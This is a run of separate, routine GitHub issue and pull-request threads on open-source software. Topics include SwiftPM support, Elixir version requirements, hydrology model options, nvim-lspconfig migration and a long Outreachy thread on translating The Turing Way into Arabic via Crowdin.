StefanScherer/windows_2019 virtualbox 2021.5.15
ubuntu/trusty64            virtualbox 20190514.0.0
ubuntu/xenial64            virtualbox 20211001.0.0

I've put the full Crescendo module code in a gist if anyone finds it useful to see exactly how I've configured things.

@jdhitsolutions - We improved and added error handling for the next release, please take a look and see if #170 fixes this for you.


Add support for SwiftPM

Description
This PR adds support for Swift Package Manager as the default option for integrating the SDK.
Folder structure
By default, SPM expects sources to be under a top level Sources folder. This can be changed in the Package.swift, but I moved them to keep the default structure.
Test location
Ideally, we would keep all the unit tests under the default top level Tests folder, however there are a couple issues with this:

There are several tests that rely on a functional keychain to pass. The keychain requires app entitlements which cannot be included without an app target to attach to. So these tests must be run from an app target's test cases.
SPM requires that all resources be accessed via Bundle.module instead of the Bundle.main and Bundle(for: ...) instances that were already being used. While technically feasible, this required a lot of changes.

Removal of TestAppShim
TestAppShim was an empty target contained in the sources folder. Since the tests have been moved to the example app this target is no longer needed.
Alternative: We can move the test cases to TestAppShim and leave them out of the SwiftSDK sample app.
Dropped Objc Support
Objc interfaces were dropped in this PR and all the corresponding @objc declarations (except for #selector) were removed. Likewise, the Objc SDK sample app was deleted.
Manually importing UIKit + Foundation
The umbrella header defining global imports was removed from UberRides, so import Foundation and import UIKit needed to be manually added to every class that requires it.
Test Plan
Unit tests
All unit tests should pass from inside the sample app target Swift SDK.
Note: I found a bug in some of the tests that will fail if the Uber Rides app is installed on the simulator. I'll fix this in a later PR.
Manual testing
You can run the SwiftSDK sample app under Examples/Swift SDK. The behavior should remain the same.

Discussed comments offline with @chiragramani


Bump our minimum Elixir version to 1.3

This gives us the ability to use 1.3+ APIs as we develop our 2.0 branch.
Many other libraries (Absinthe, Dialyxir) also have a 1.3+ requirement.
Also, Elixir 1.4 is imminent, so add that to our testing matrix too.

1.3 is only about 6 months old. As a library user it can be frustrating to depend on something that forces you to live in the bleeding edge. (Granted this is a fairly new project and probably doesn't have a lot of users yet.) In general, how long do we want to support an Elixir version? Maybe a couple of years?

1.3 is only about 6 months old. As a library user it can be frustrating to depend on something that forces you to live in the bleeding edge. (Granted this is a fairly new project and probably doesn't have a lot of users yet.) In general, how long do we want to support an Elixir version? Maybe a couple of years?

I would argue that we are effectively writing a new library because all of the relevant APIs have yet to be published and we are labeling it "2.0" in the semver-sense. It should have no existing users and therefore no backwards compatibility or upgrade concerns.
I would further argue that now is the best time to set a higher Elixir version bar because it will be more difficult and less convenient to do so once this major version of our library is released. That would commit us to support Elixir 1.2 as our baseline for e.g. years.

I would argue that we are effectively writing a new library because all of the relevant APIs have yet to be published and we are labeling it "2.0" in the semver-sense. It should have no existing users and therefore no backwards compatibility or upgrade concerns.
I would further argue that now is the best time to set a higher Elixir version bar because it will be more difficult and less convenient to do so once this major version of our library is released. That would commit us to support Elixir 1.2 as our baseline for e.g. years.

@jparise agreed.

@jparise agreed.

One more bit of data from the recent Elixir Users Survey: https://www.dailydrip.com/blog/elixir-users-survey-2016-results
Over 90% of people surveyed are using Elixir 1.3. I'm not sure if that's representative of the user base at large, but it's one good data point.


allow for different hydrology closure models

Purpose
Allow for the user to pick which retention curve and hydraulic conductivity curve formulation they wish to use. These are paired - a single formulation determines both. We can support van Genuchten and Brooks and Corey to start.
A future PR will make the derivative of dpsidtheta continuous across S = 1 [which will help with timestepping the variability saturated case].
To-do

[X] Test BC on some runs, including freeze thaw and evaporation. They ran! it looked OK. -
[X] Updated design docs. The only modification required is to psi(S) for S>1, to ensure continuity. for BC, psi(S=1) is not zero, but psi_b.

Content
Creates parameter struct which identifies the model formulation.
Switches to using this/unpacking this/dispatching off of this instead of being hardcoded for van Genuchten
Review checklist
I have:

followed the codebase contribution guide: https://clima.github.io/ClimateMachine.jl/latest/Contributing/
followed the style guide: https://clima.github.io/ClimateMachine.jl/latest/DevDocs/CodeStyle/
followed the documentation policy: https://github.com/CliMA/policies/wiki/Documentation-Policy
checked that this PR does not duplicate an open PR.

In the Content, I have included

relevant unit tests, and integration tests,
appropriate docstrings on all functions, structs, and modules, and included relevant documentation.

[x] I have read and checked the items on the review checklist.

Looks good! I had a few comments but overall I think this is a nice improvement.
I was also just wondering if we test matric potential/K/etc functions with both S > 1 and S < 1. Since the functionality isn't changed here (except for the Brooks Corey extension, which has a test), we shouldn't need to add more tests, but I wasn't sure if we explicitly test behavior around the discontinuity.

hey! we do have those tests but they are a little hidden (we test the different methods with an array of values for S which lie on each side & at the boundary, but dont note that it is testing both sides). I added a test for dpsitheta for vG though, as we were missing that!

bors r+

bors r+


Adding more content to materials pages for design

Placing class names and more CSS for easier collaboration/design work...github icon is temp if we want to do our own.

@Roenok @juliaelman this should help with the design/css aspect. I have classes on each chunk with CSS files in place...generally more laid out per the docs in #66
Let me know how else I can keep this momentum :) I like to pit-stop for UX insight when possible.

@kstack7 thanks for the PR! Sounds like @Cara-Jo is planning on adding to the mix and this is a good start :smile_cat:

:+1:


feat: support "empty" enums

enum SmallEnum {
    v1: (),
    v2: (),
}

tracking https://github.com/FuelLabs/fuels-rs/issues/231

This is possible? Why?

() means "unit type": https://doc.rust-lang.org/std/primitive.unit.html


Use upstream nginx ingress controller?

Since gcr.io/google_containers/nginx-ingress-controller:0.8.1 all the required changes are merged

Version 0.0.4 is fully compatible, and the docs are updated as well


What is the license of this project?

The package if free to use. Feel free to use in any project, commercial or otherwise and also to submit PR ;-). Sorry for the omission of license; It'll be included soon.
Cheers!


minor tweak to a few headings in readme

Adjusts a few headings so they're more noticeable at https://www.npmjs.com/package/event-stream

thanks


fix useNetwork status on safari

Description
"Change" event seems to be not available on safari browsers (see issue #855)
Type of change

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as before)

Checklist

[x] Read the Contributing Guide
[x] Perform a code self-review
[x] Comment the code, particularly in hard-to-understand areas
[x] Add documentation
[x] Add hook's story at Storybook
[x] Cover changes with tests
[x] Ensure the test suite passes (yarn test)
[x] Provide 100% tests coverage
[x] Make sure code lints (yarn lint). Fix it with yarn lint:fix in case of failure.
[x] Make sure types are fine (yarn lint:types).

@streamich @bebbi @xobotyi Can anyone please review/merge this PR ?

@streamich @bebbi @xobotyi Can anyone please review/merge this PR ?

@sumeesh879 i wont merge it yet since this hook has to be reworked fully not it is a mess IMO. ill do soon

@sumeesh879 i wont merge it yet since this hook has to be reworked fully not it is a mess IMO. ill do soon

:tada: This issue has been resolved in version 17.0.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

:tada: This issue has been resolved in version 17.0.0 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Convert native plugins to use lazy task API

start to this https://github.com/gradle/gradle/tree/sg/lazy/native-plugins


Include chain selection in deposit/withdraw workflow

We should copy CEXs workflow for transferring to/from other chains:

Figma

6/28 sprint planning-
Victor explainer: there would be a stableswap pool that abstracts away the non-fungibility of multi-bridged assets. This would be a utility separate from deposit IBC asset. Should revisit this when we get to axelar native integration.
Blocked waiting for axelar integration and stableswap, though not iceboxed due to time sensitivity

Functionality implemented and configurable


[ALLUXIO-2744] Use Packet Streaming Only

https://alluxio.atlassian.net/browse/ALLUXIO-2647
This PR handles the switches in our code. A follow up PR will be made to clean up unused classes.

Merged build finished. Test PASSed.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/Alluxio-Pull-Request-Builder/14197/
Test PASSed.

alluxio-bot, check this please


🎉 Outreachy spring 2022: Applicants tasks/contributions

🎊 Welcome Outreachy 2022 Contributors! We're excited that you're here 🎉

This ticket will serve as the central point tracking the contributions of perspective Outreachy (spring 2022 cohort) applicants.

Outreachy provides paid remote, three-month internships to support diversity in Free and Open Source Software (FOSS). For more information about what Outreachy is, follow this link.
Outreachy internships are:
💵 Paid - $7,000 USD total internship stipend
🌍 Remote - both interns and mentors work remotely
🕰 3 months - internships run May to August.
For those interested, this process is described here.

We ask all outreachy candidates to work on a minimum of 3 projects simultaneously so that they are not completely relying on their selection in OSCSA if we end up not selecting them!

Summary
Open Science Community Saudi Arabia (OSCSA) aims to introduce open educational resources (OERs) for Open Science in Arabic to facilitate learning of Open science practices to novice learners. Therefore, we work with other Open Science communities such as the Turing Way and Open Life Science to localise their open educational resources (OER) using Crowdin, GitHub and Zenodo.
We use GitHub as a version control system for all the translations and to acknowledge all contributors. Crowdin is used as a translation management system (or TMS) to make contributions smooth. Any changes made to Crowdin will be reflected on GitHub using automation and continuous integration (CI). Crowdin provides Translation Memory (TM), Glossary, Machine Translation (MT) and QA checks.
In Outreachy spring 2022, we are accepting applicants to localise specific chapters of  The Turing Way. The Turing Way is a handbook to reproducible, ethical and collaborative data science. It supports a diverse community of contributors to make data science accessible, comprehensible and effective for everyone. You can find more information about it, in the TW repository.
Successful candidates will improve the localisation process by adding documentation in Arabic, enriching the glossary, moderating the translation, using screenshots to improve the translation and collecting feedback.
How to start?

Join OSCSA community here

You will need to create an account in Crowdin and join our project here. Once you join, you have to comment on this issue, so we follow your work in Crowdin.

Navigate to the Project home and click on Arabic

Once you click on Arabic, you will be directed to this window which contains all the files that are inside the Turing Way book

Scroll down until you reach reproducibale_reserach and then to open

Choose any of the markdown files inside and click on three dots (⋮) select Go to editor

This way, it will open the crowdin editor where you will so all the translations! All the translation was done using crowdin machine translation (similar to google translation). None of it was done manually, so all the translation needs to be re-translated and then proofread (Approved). Chose only one single file and read it from the TW book before starting the translation - and start from the top of the file (title).

Follow up the steps of how to use Crowdin Editor here.

Using the Main menu in the top left corner, you can switch between files for translations, change translation language, contact manager, switch the view, get help or quit the editor. For more information, follow the docs here. If you have questions, please add them to this issue!

You need only to translate one small file with no more than 300 words. You don't only translate strings, but you also have to add terms to the glossary.

Glossary
The Glossary is supposed to contain terminology that has a purpose of explaining some specific terms or the ones often used in the project to be translated properly and consistently such as (e.g. open science, open access, open hardware, ...etc). It's not supposed to include names of people, books, ...etc.
You should add a specific term add to the glossary if:
1- It's commonly used in the project, but translators can translate it differently. For example, open access can be translated الوصول الحر أو الوصول المفتوح أو النفاذ الحر  but we want to keep consistency throughout the project when it's translated by many contributors - so they can use the same translation, not multiple ones.
2- Some English terminology doesn't exist in Arabic. Once you translate them, you include them in Glossary (e.g. Git, GitHub, repository,..etc).
The Glossary should be consistent in style. The Arabic translation should contain the Arabic translation followed on the left the English terms between brackets with spaces between brackets. For example, the Arabic for Open access should be (Open Access) الوصول الحر with space between brackets and the Arabic word.
If you have questions about the glossary،, ask under this issue.
Submission
Once you finish a very small part of the translation, submit a PR for a markdown file called docs.md in /docs in this repo to include brief documentation in Arabic ( around 500 words or more using Markdown) about the translation process of the project in Crowdin. This should include (Getting started with Crowdin, tips, ..etc) using images and GIFs.
If you have any questions throughout the process, add your question to this issue!

Record in-progress contributions on the Outreachy website. You'll need to go to the community landing page linked from the projects listing page. Then click the 'Record Contribution' button. Add links and descriptions to your contributions and the project timeline before the application deadline. You can always go back and edit your recorded contributions. A contribution doesn't have to be merged or accepted to be recorded.

Tasks for Intern Selection:

Complete the translation of one of the landing pages of the Guide for Reproducible Research (e.g. Overview of Reproducible Research, Open Research, Research Data Management, ..etc).
Open PR in this repository to include brief documentation in Arabic (400 words or more) about the translation process of the project in Crowdin.

Tasks during the internship

Expands the Glossary and ensure consistency in the Translation
Collect feedback from the community members about the translation workflow.
Translate 6 parts/sub-chapters from the Guide for Reproducible Research.
Review other contributions in the Translation
Deploy the book with the 6 translated chapters
Provide documentation about the Workflow in Arabic.

Meetings
We will lead a video call in Elements to answer any questions you have. This could be a problem using Crowdin editor or understanding any of the tasks in the internship. This will be on Friday, the 1st of April at 10 am UTC. Follow this link for invitation to Element!
Assessing Candidates

Candidate should be comfortable collaborating through GitHub
Candidates should complete all tasks listed for intern selection.

Resources

Some documentation about the localisation of The Turing Way can be found here.
More information about the workflow is presented in this talk in Creative Commons Summit 2021.

Hello everyone,  My name is Oluwaseun, I just joined Crowdin.

Hi @oluwaseunlijoka, you should be able to join the project through this link: https://turingway.crowdin.com/u/signup?hash=3d0624a322db57a403a7ece3ccce900a24.
Let me know if you have a problem accessing it!

@oluwaseunlijoka I added a few screenshots and details - let me know here if you struggle with anything!

Hello @BatoolMM , my name is Thana. I just joined the project by following the link you provided.

Hi, Thana - you've been added to Crowdin, feel free to follow the steps and let me know if you have any questions!

Hello @BatoolMM, I am Ahmed an engineering student from Egypt, and an outreachy applicant for this spring.
I am very existed to help increase the science martials available in Arabic to make learning and getting into the science field easier for any Arabic speaker.

you have to comment on this issue, so we can promote you to Manager in Crowdin.

I just joined the project, do i have to wait to be a manger before starting to contribute ?

Hi Ahmed, thank you for joining - you don't have to wait, you should be able to use Crowdin now. Let me know if you have any questions about crowdin.

Hi @BatoolMM my name is Fatima I am oureachy applicant I have joined the crowdin what next

hi

Hello @BatoolMM , My name is Asma. I'm from Tunisia it's a small country in the north of Africa. I'm a Telecommunication engineering student and an Outreachy applicant. I am
excited to be contributing to this project because I love my native language Arabic and make it easier for the Arabic speaker to learn.  I just joined the project by following the link you provided.

Hi @AsmaKacem1 @nancyalaswad90 @Nizahra2038, thank you for joining - if any of you have any questions, please add them here under this issue (don't open a new issue). Here is more info on how to use Crowdin Editor.

Hello @BatoolMM, I am Boutaina from Morocco. I am an outreachy applicant. I have joined crowdin, and I am super excited to contribute to your organization and be a part of your community.

Hi Bouthina! Let me know if you struggle with anything in Crowdin.

@all We will hold a video call in Elements to answer any questions you have. This could be a problem using Crowdin editor or understanding any of the tasks in the internship. This will be on Friday, the 1st of April at 10 am UTC. Follow this link for invitation to Element!

Hi Boutaina! Let me know if you struggle with anything in Crowdin.

I'm trying to click on 'go to the editor', but I can't find it. Could you please help me?

Hi @BatoolMM , I'm Alaa, an aspiring Outreachy intern, looking forward to be working with you.

Thank you @Boutainaelatbaoui for the question. If Go to editor isn't visible, choose Proofreading and you will end up with something similar to this screenshot.

You’ll see the list of source strings and their translations that you can approve or correct. The strings with the QA checks issues will be highlighted in this mode. You’ll also see the strings that were translated with the help of Translation Memory or Machine Translation engine. You can still change the complete translation. Let me know if this works for you!
Hi @amj1337, you are welcome to go through the steps and post your questions here!

All individuals who commented on this issue are granted Manager access so they can get access to all features of the Crowdin editor! Let me know if you still don't see Go to editor option.

.
Thanks for your explanation above @BatoolMM
I made some script , will you please give your opinion about it
.

@BatoolMM Hello mentor
My name is Rufaida an Outreachy applicant and i want to contribute to this project

@BatoolMM i oppened the crowdin.should i choose a file and start translating and add it over here?.please guide me

Hello,
me too I made some script, could you please verify if there is something I can improve @BatoolMM .
Could you please explain to us about the video of OLS2 and  OLS1?

Thank you @AsmaKacem1 for adding the translation. Please work in one single markdown file and completely finish it before moving to another file. Can you kindly focus on translatingopen-hardware.md which you started working on?
I see that you also added a few terms to the Glossary. That's a good thing some terms like def are repeated with two different meanings. If you are adding the English word between brackets, please keep space between the bracket and the word - e.g. GitHub : (GitHub) منصة جيت هب - not (GitHub)جيتهاب. With space between brackets and the word.
Once you complete a file or a couple of paragraphs from the same file, I'll add comments in Crowdin for you (like below).

@nancyalaswad90 Your translation is good, I added some comments on Crowdin - please go through them. YOu should be able to access the comments tab in Crowdin similar to the screenshot above!
Let me know if you have any questions!

Thanks @BatoolMM for your feedback
I will do the update and send you

Thank you @BatoolMM . I took these notes and I will do the necessary change you mentioned.

Thanks @BatoolMM for your  explanation comments
Just finished some updates  in my translation and added a few terms to the Glossary.  , will you please give your opinion about it.

In terms of the glossary. The Glossary is supposed to include contains the terminology that has a purpose to explain some specific terms or the ones often used in the project to be translated properly and consistently such as (e.g. open science, open access, open hardware, ...etc). It's not supposed to include names of initiatives.
There are some issues in the Glossay below:

All terms should have been filled in the 1st column (English) since the book is written in English but GitHub isn't filled in the 1st column.
It's not consistent in the style. The Arabic translation should contain the Arabic translation followed on the left the English terms between brackets with spaces between brackets. For example, the Arabic for Open access should be (Open Access) الوصول الحر with space between brackets and the Arabic word.
Budapest open access initiative, def, open by default,  isn't supposed to be on the Glossary.
Please make sure the style of the Glossay is consistent.

I added comments for translations made so far by @Boutainaelatbaoui @nancyalaswad90 @AsmaKacem1 in Crowdin. A very important point is that some seem to translate individual sentences without reading the sub-chapter or understanding the context. Please do read the sub-chapter from the Turing Way book here and understand what the book is discussing - then choose a topic/subchapter and understand it before you translate it and start the translation from the title of the subchapter, not the middle of the subchapter.
If anything isn't clear, please feel free to ask questions here!

Thank you so much @BatoolMM for your feedback.
I have a question please, when we can add a word to the Glossary and when not?

Thank you @BatoolMM.
I will read the sub-chapter and the chapter from the TW book book to avoid such mistakes

Thank you very much @BatoolMM for your feedback.
I will read the sub-chapter and update my translation and words in the Glossary.

Hi @amj1337, this is an excellent question. All the translation was done using crowdin machine translation (similar to google translation). None of it was done manually, so all the translation needs to be re-translated and then proofread (Approved). Chose only one single file and read it from the TW book before starting the translation. Don't hesitate to ask if you have any other questions!

I updated the issue above with more instructions!

are we having a video call on Element now?

@ThanaMeri We just finished the call now! If you have any questions, feel free to ask in this issue!

We went through these slides and a demo of Crowdin.

@BatoolMM Is there a recording of the meeting? I was trying to join the call, but I had a bad internet connection.

@BatoolMM Is there a recording of the meeting? I was trying to join the call, but I had a bad internet connection.

We didn't record the call - so everyone can be comfortable asking questions!

Dear @BatoolMM
I make Glossary  such as (GitHub) جيت هاب in the image below and I add the description after making some search from site
.

.

**But I notice that if any other member make save to the change I completely didit by myself , the system remove my name from the work without mention my work in it **

Hi @nancyalaswad90,
We discussed this issue in the call. The problem is that there's space for improvement for some of the translations in the Glossary (and some need correction). These terms come up in other files that are translated by the other team members. If that happens, everyone is allowed to change/improve the translation so it fits the context better. However, if anyone changed the terminology in the Glossay, he/she should add a comment in the Crowdin editor that he/she changed a term in the Glossary.
Having said that, I can still track the original translation if it was created by a different team member from another tab, that's doesn't erase anyone's work - so don't worry about that. Let me know if you have any concerns.
Please be kind to each other!

Sure , I will be kind to other member

As I mentioned above (( With all respect to my great team ))

@BatoolMM  Thank you so much for your quick feedback and for create this idea
I did some changes , I wish you provide me with your feedback

Hi @BatoolMM when reading the book I came across words that look similar in their general meaning like "Reproducible" and "Replicable" but they were defined to have different meanings in the book, is it right for those words to be added to the Glossary with their definitions from the Turing way book itself ? even thought they are not defined in the file that I chose to translate but some of them are used in it.

Thank you @amj1337 for this question

when reading the book I came across words that look similar in their general meaning like "Reproducible" and "Replicable" but they were defined to have different meanings in the book, is it right for those words to be added to the Glossary with their definitions from the Turing way book itself? even though they are not defined in the file that I chose to translate but some of them are used in it.

Absolutely!

Dear @BatoolMM
Please advise , what should I do now ? and what  is the assessment for my previous updates ?

Dear @BatoolMM
Please advise , what should I do now ? and what is the assessment for my previous updates ?

Done!

@BatoolMM Thank you  for your quick feedback
I made some changes , I wish you provide me with your feedback

Hi @BatoolMM , I have finished the open-hardware.md
could you please give me your opinion about it?

Marhba. @BatoolMM  I did some translations so far. it would be great if you give me a feedback

Hi @BatoolMM , I have finished the open-access.md
I wish you provide me with your feedback

@nancyalaswad90 @AsmaKacem1 @ThanaMeri I added feedback to all of you in Crowdin - the next round of feedback will be given by the 9th of April.

@BatoolMM I didn't get any!

@ThanaMeri - there are comments, just checked them now and tagged you. Let me know if you couldn't find them!

Hi @BatoolMM , I have finished the open-access.md
Please  provide me with your feedback

@amj1337 @nancyalaswad90 I went through the translation and added a few comments. Please feel free to start the 2nd part by submitting a PR. I updated the instructions (above). If you have any questions, please let me know!

Thank you @aleesteele for introducing yourself, that's very thoughtful of you 🌷 .
I'd encourage everyone who has contributed so far in Crowdin to record their contribution in Outreachy regardless if they completed their PRs or not. If you have any questions about how to record your contribution, please feel free to ask!

Glad to know you  @aleesteele 🌷 .

Hi @BatoolMM , really grateful for your support and here is my work  in previous two days

I check your comments and made changes to the open-access.md file.

I just submitting a PR .

And Finally add contribution in Outreachy

Please provide me with your feedback

.

Thank you to everyone who submitted a PR so far 🎉🎉 - Feedback is provided for PR #4 #5 #6!

Hi @BatoolMM

I approve all the suggestion feedback .

Please advise ,Can I work in my final submission or still need more steps to do ??
.

All PRs are merged, please don't forget to submit your final contribution through Outreachy.
We have many strong candidates but we'll only take one intern so we would like to remind you to work on a minimum of 2-3 projects simultaneously so that they are not completely relying on their selection in OSCSA if we end up not selecting them!
If you have any questions, please feel free to ask!

@BatoolMM Do I still have time to post my PR ?

@ThanaMeri of course, you are very welcome to submit your PR, the deadline is the 22nd of April!

@BatoolMM will you please give me a feedback on my PR ?

All PRs are merged, and our newsletter mentions all your wonderful contributions. You can view the newsletter here.  Please don't forget to record your final contributions in Outreachy. If you have any questions, don't hesitate to reach out!

All PRs are merged, and our newsletter mentions all your wonderful contributions. You can view the newsletter here. Please don't forget to record your final contributions in Outreachy. If you have any questions, don't hesitate to reach out!
.

Thanks for your time and support @BatoolMM 🌺🌺
.

Hi @BatoolMM I have just sent my PR, when available would you please check it out, thank you.

Thank you for submitting PR #8 - please go through the comments I added!

The intership has ended and this issue will be closed!


clientv3: document context.Context parameter to streaming APIs

Related to https://github.com/coreos/etcd/issues/8980.
We haven't documented how our stream APIs work with client's contexts.
https://github.com/coreos/etcd/blob/e3da56a8dfb88c7ee8f6c282c986fb5154700910/clientv3/watch.go#L44-L53
https://github.com/coreos/etcd/blob/e3da56a8dfb88c7ee8f6c282c986fb5154700910/clientv3/lease.go#L116-L117
https://github.com/coreos/etcd/blob/e3da56a8dfb88c7ee8f6c282c986fb5154700910/clientv3/maintenance.go#L57-L58
Would cancelling the context close the watch stream? What if the context timeouts? If the stream is kept open, what is the retry policy? What happens to the underlying io.ReadCloser when the context gets cancelled?
Also
https://github.com/coreos/etcd/blob/b48cf77abb78755c8654eb8da61bc90a32802e7d/clientv3/concurrency/session.go#L132-L141

/cc @fanminshi

WithContext is already documented well. Closing!

@gyuho good job on this one!!


Use multi-chord shortcuts to match Emacs

I haven't tested this, but based on the README:

Commands working with types (marked with the 🎚 emoji below) can have different levels of normalization. However, due to some technical limitations, we cannot prefix commands with C-u or  C-u C-u like in Emacs. Instead, we replace the C-u C-c prefix with C-u and the C-u C-u C-c prefix with C-y.

The technical limitations part refers to the upstream issue in VSCode, which I believe has been implemented: https://github.com/microsoft/vscode/pull/175253.
If so, the default shortcuts need to be changed to match Emacs because that's the current go-to editor for Agda, which many users will be familiar with. Emacs shortcuts are also something you can see often in third-party documentation or tutorials, just because it's the default. By having the same set of shortcuts, it'll make it easier for current Emacs users to transition to this extension.
As an aside, I personally prefer more ergonomic shortcuts, like in Spacemacs, but that can always be configured by the users. This can be also provided in settings, in addition to the default Emacs shortcuts.
I think there's also value in keeping the current shortcuts as is because they are more ergonomic than the default Emacs ones. So this could be a setting in the configuration:

emacs (multi-chord)
spacemacs (with spc) - this one might be also useful for the Vim extension users, like myself (due to conflicting shortcuts in the current default)
vscode (current).

The technical limitations part refers to the upstream issue in VSCode, which I believe has been implemented: https://github.com/microsoft/vscode/pull/175253.

Great news!
Personally, I would like to use the Emacs shortcuts as the default. But I'm thinking maybe we can also keep both shortcuts (Emacs + current), it's that's not too pollutive.

Forgot to revisit this issue, fixed in v0.5.0!


Add paginate shortcut to dlt.sources.helpers.requests

Description
This PR adds a new function paginate to dlt.sources.helpers.requests avoiding the circular import issue from #1154
paginate is a shortcut which creates a RESTClient under the hood and runs paginate() method.
Related PRs

#1141
#1154

@rudolfix, it works now; however, I'm not fully convinced that dlt.sources.helpers.requests is an appropriate place for the paginate() shortcut function. I believe it still logically belongs in the rest_client namespace. A real-world example is when someone needs to explicitly use an authenticator or a paginator; they would need to import that from the dlt.sources.helpers.rest_client module:
from dlt.sources.helpers import requests
from dlt.sources.helpers.rest_client import paginators

for page in requests.paginate(
    "https://api.example.com/endpoint",
    paginator=paginators.JSONResponsePaginator(next_url_path="metadata.nextPage"),
    auth=auth.APIKeyAuth(name="apikey", location="query", api_key="..."),
    params={"size": 100},
):
    print(page)

In my opinion, it would be logically simpler if the related parts lived under one package, e.g.:
from dlt.sources.helpers.rest_client import paginate, paginators

for page in paginate(
    "https://api.example.com/endpoint",
    paginator=paginators.JSONResponsePaginator(next_url_path="metadata.nextPage"),
    auth=auth.APIKeyAuth(name="apikey", location="query", api_key="..."),
    params={"size": 100},
):
    print(page)

@burnash following on the above: let's close it. probably my fault to push the idea but it looked good at that point :)


migrate to vim.lsp.config (non-breaking)

Description
With vim.lsp.config https://github.com/neovim/neovim/pull/31031 , Nvim 0.11+ now has an interface for defining LSP configs. Previously, the config format was defined by nvim-lspconfig (this repo) and did not have core Nvim support.
Next steps

Tag a v1.x release.
BREAKING: The master branch will require Nvim 0.11 and will throw an error if vim.lsp.config is not found (and point the user to the v1.x branch).
keep the old configs on master, but document that they are frozen and won't be supported.
if Nvim 0.10 or older is detected, use the old frozen configs
Update the README to mention that old configs are frozen, use Nvim 0.11
Migrate all configs in nvim-lspconfig to vim.lsp.config

put all the new configs on lsp/* and use those for Nvim 0.11

Alternative non-breaking approach:

keep the old configs on master, and use them for Nvim 0.10 or older
put all the new configs on lsp/* and use those for Nvim 0.11

hope we can have a naming standard for new.. xx_ls, xx_lsp, xx is a mess for now

Why does it matter?

idea from @lewis6991 :

I'm pretty sure that lsp/clangd.lua just needs to contain:
vim.lsp.config('clangd', require('lspconfig.configs.clangd').default_config)

We might need some adapter in between for some places, but I think this method will be much less work than just freezing the whole thing.
E..g root_dir is provided as a function instead of root_markers, which tbh core should support.

counterpoint:

default_config in lspconfig contains the commands stuff that are user commands instead of lsp commands, so some kind of adapter will be needed

one thing that was nice about this repo was that it allowed me to get notifs on what cool new lsps were coming out. i'd definitely prefer removing another bulky plugin and some hacky logic in my config due to the nature of this plugin, but wondering if we can somehow keep this lsp list in some way

@PeterCardenas this repo isn't going away. Only its "framework" or API was lifted into core. 80% of the configs (the less popular/important ones) likely will continue to live here.
But in any case, there are many other projects that do the same kind of thing, for emacs, "awesome", etc., if your goal is to find new lsps.

Is there a vim.lsp.config equivalent of single_file_support?

that's good to hear, the reason why i liked this repo as a source of info is because the setup was very clear (just needed to add any additional lsp settings). what would be nice is that this repo can exist for the purpose of importing default lsp configs to be used by vim.lsp.config

Is there a vim.lsp.config equivalent of single_file_support?

@frangio see https://github.com/neovim/neovim/pull/31565


[Bug]: Binding shows successful even for invalid JS

Is there an existing issue for this?

[X] I have searched the existing issues

Description
Writing invalid code shows a successful state all across the editor
Steps To Reproduce

Drag a table widget
Drag a Select widget
Bind {{Table1.test}} in the options field
See that it shows success
Add a JSObject and add the same invalid code in a function and notice it does not show an error

Public Sample App
No response
Version
Cloud

Every developer trying to do a binding will face this
Stats

Stat
Values

Reach
7000

Effort (months)
1

@rohan-arthur @ajinkyakulkarni @ApekshaBhosale did something change here recently?

@rohan-arthur this is only partially linting related. It's a much bigger underlying problem that the JS framework is not surfacing these errors. Can we fix this as ad-hoc and not part of a large project?


CASMINST-3004

Remove unnecessary instructions related to BGP that may cause confusion.

This is removing the step to clear the BGP sessions.   We still need those steps included.


Latest changes to DG

Codecov Report

Merging #310 (98b1b45) into master (054c2cd) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master     #310   +/-   ##
=========================================
  Coverage     57.21%   57.21%
  Complexity      677      677
=========================================
  Files           131      131
  Lines          2618     2618
  Branches        272      272
=========================================
  Hits           1498     1498
  Misses         1024     1024
  Partials         96       96

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 054c2cd...98b1b45. Read the comment docs.


Implement stack using queue

Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is.
Describe the solution you'd like
A clear and concise description of what you want to happen.
Do you want to work on it
Mention the one language you want to be assigned for this issue.

Please assign me this under GSSOC'21.

Hi,
I am GSSOC'21 participant,
My code will be in java with proper comments and test cases.
@anubhavitis @OjusWiZard Please assign me this. Thankyou!!

I would like to work on this issue in java. Please assign this issue to me.


[oracle] Add ddagenthostname tag (DBMON-3490)

What does this PR do?

Motivation
Add ddagenthostname tag.
Additional Notes
The tag is emitted with each metric and also in query metrics payload.
Describe how to test/QA your changes
Check if the tag is appearing in the metrics and host panel.
Reviewer's Checklist

[ ] If known, an appropriate milestone has been selected; otherwise the Triage milestone is set.
[ ] Use the major_change label if your change either has a major impact on the code base, is impacting multiple teams or is changing important well-established internals of the Agent. This label will be use during QA to make sure each team pay extra attention to the changed behavior. For any customer facing change use a releasenote.
[ ] A release note has been added or the changelog/no-changelog label has been applied.
[ ] Changed code has automated tests for its functionality.
[ ] Adequate QA/testing plan information is provided. Except if the qa/skip-qa label, with required either qa/done or qa/no-code-change labels, are applied.
[ ] At least one team/.. label has been applied, indicating the team(s) that should QA this change.
[ ] If applicable, docs team has been notified or an issue has been opened on the documentation repo.
[ ] If applicable, the need-change/operator and need-change/helm labels have been applied.
[ ] If applicable, the k8s/<min-version> label, indicating the lowest Kubernetes version compatible with this feature.
[ ] If applicable, the config template has been updated.

/merge


Add support for image classification

What does this PR do?

Fixes #173. This PR enables:

to use an image-classification pipeline
to perform quantization/optimization with computer vision models

At the moment, static post-training quantization with percentile/entropy calibration may not work with some models due to an issue with ONNX Runtime.
Before submitting

[ ] This PR fixes a typo or improves the docs (you can dismiss the other checks if that's the case).
[x] Did you make sure to update the documentation with your changes?
[x] Did you write any new necessary tests?

The docs for this PR live here. All of your documentation changes will be reflected on that endpoint.

Thanks so much for doing this -- really happy to see this feature added 🤗

Thanks so much for doing this -- really happy to see this feature added hugs

Do not hesitate to show us how you use it :) @davanstrien

